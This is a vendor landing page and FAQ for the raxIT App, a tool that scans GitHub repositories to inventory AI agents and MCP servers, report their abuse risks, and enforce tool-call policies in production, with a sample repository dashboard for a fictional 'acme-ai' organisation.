What is the raxIT App?

The raxIT App, built by raxIT Labs, is the security team for teams building AI agents without one. Point it at a GitHub repo. It names every agent, tool and MCP server. It says what can go wrong with each, and writes the fix. In production, the raxit runtime checks every tool call against that policy. You keep shipping. It keeps watch.

We don't have a security person. Is this for us?

Yes, that is who it is built for. The report reads like a review from a senior security engineer who already knows your code. It says what is exposed, why it matters, and what to change first. Fixes arrive as remediation specs your own engineers can merge.

What do I get from the free assessment?

A risk report on one repo. It lists every agent and tool found. For each, it shows how it can be abused and the control that closes the gap. Each finding maps to the EU AI Act, NIST AI RMF and ISO 42001. Hand it to a customer or a board without translating it. The dashboard at the top of this page is a sample. Yours is emailed when the scan finishes.

How is this different from a guardrail?

A guardrail reads text and guesses. The raxit runtime reads the tool call and checks it against a policy you signed. The same instruction, reworded, base64'd, or hidden in an image, still ends in the same deny. You get a reason code you can put in a report.

How does the raxIT App keep up with new attacks?

Every scan runs against a knowledge base built from what has actually gone wrong. We read eight public feeds, including the AI Incident Database, NVD and MITRE ATLAS. Updates land hourly to daily. Each incident becomes a threat pattern linked to the controls that stop it. The checks in your report come from those patterns. Your next scan looks for what happened last week. You do not have to read the advisories. We do.

How do I get started?

Paste a public GitHub URL and the scan starts. It is free. Private repos and runtime enforcement come with the platform, which is in early access. If you would rather see a report walked through first, book a demo.

Find AI agent security risks before production.

Your board asked if your AI agents are safe. Scan your repo and send them the answer

Sample Report · Repositories

Organization repositories

acme-ai·6 of 42 scanned

Repository	Lang	AI likelihood	Type	Scan
acme-ai/customer-copilot	TypeScript	80	AI Agent	Assessed
acme-ai/risk-summarizer	Python	75	LLM App	Assessed
acme-ai/fraud-detector	Python	60	ML Pipeline	Scanning
acme-ai/doc-intake-agent	TypeScript	55	AI Agent	Fingerprinted
acme-ai/compliance-notebooks	Jupyter	40	ML Pipeline	Fingerprinted
acme-ai/internal-wiki	TypeScript	15	Non-AI	Discovered

AI security isn’t one problem.

It’s four. They arrive on different days, and you don’t have four people to chase them.

Inventory

Agents shipped without a security review

Shadow agents · MCP servers · untracked tools

Your teams add agents every sprint, and nobody keeps the list. The first real inventory usually happens after something breaks.

Risk Review

The review is stale the day after you ship

Static STRIDE · hand-drawn diagrams · quarterly reviews

Your code changes every deploy. A review drawn by hand last quarter describes agents that no longer exist.

Runtime Filters

Filters lose to rewording

Base64 payloads · synonym swaps · OCR in images

An attacker rewrites the same instruction until it slips through. A control that guesses is not something you can report on.

Compliance

Customers and regulators want evidence

EU AI Act · NIST AI RMF · ISO 42001

A customer questionnaire lands, or an EU AI Act date moves up. The only proof you have is a screenshot from last quarter.

How it works

Four questions your board will ask. In the order they ask them.

We read your GitHub and list every agent you have. We work out how each can be abused and write the fix. Then we check every tool call against it in production.

01 · Scope

What are you working on?

We read your GitHub repos and list every agent, tool, and MCP server you have. You upload nothing.

AI Inventory
AI Bill of Materials

Sample report · Repositories

Organization repositories

acme-ai · 6 of 42 scanned

RepositoryLangFingerprintTypeScan

customer-copilotTypeScript80

AI Agent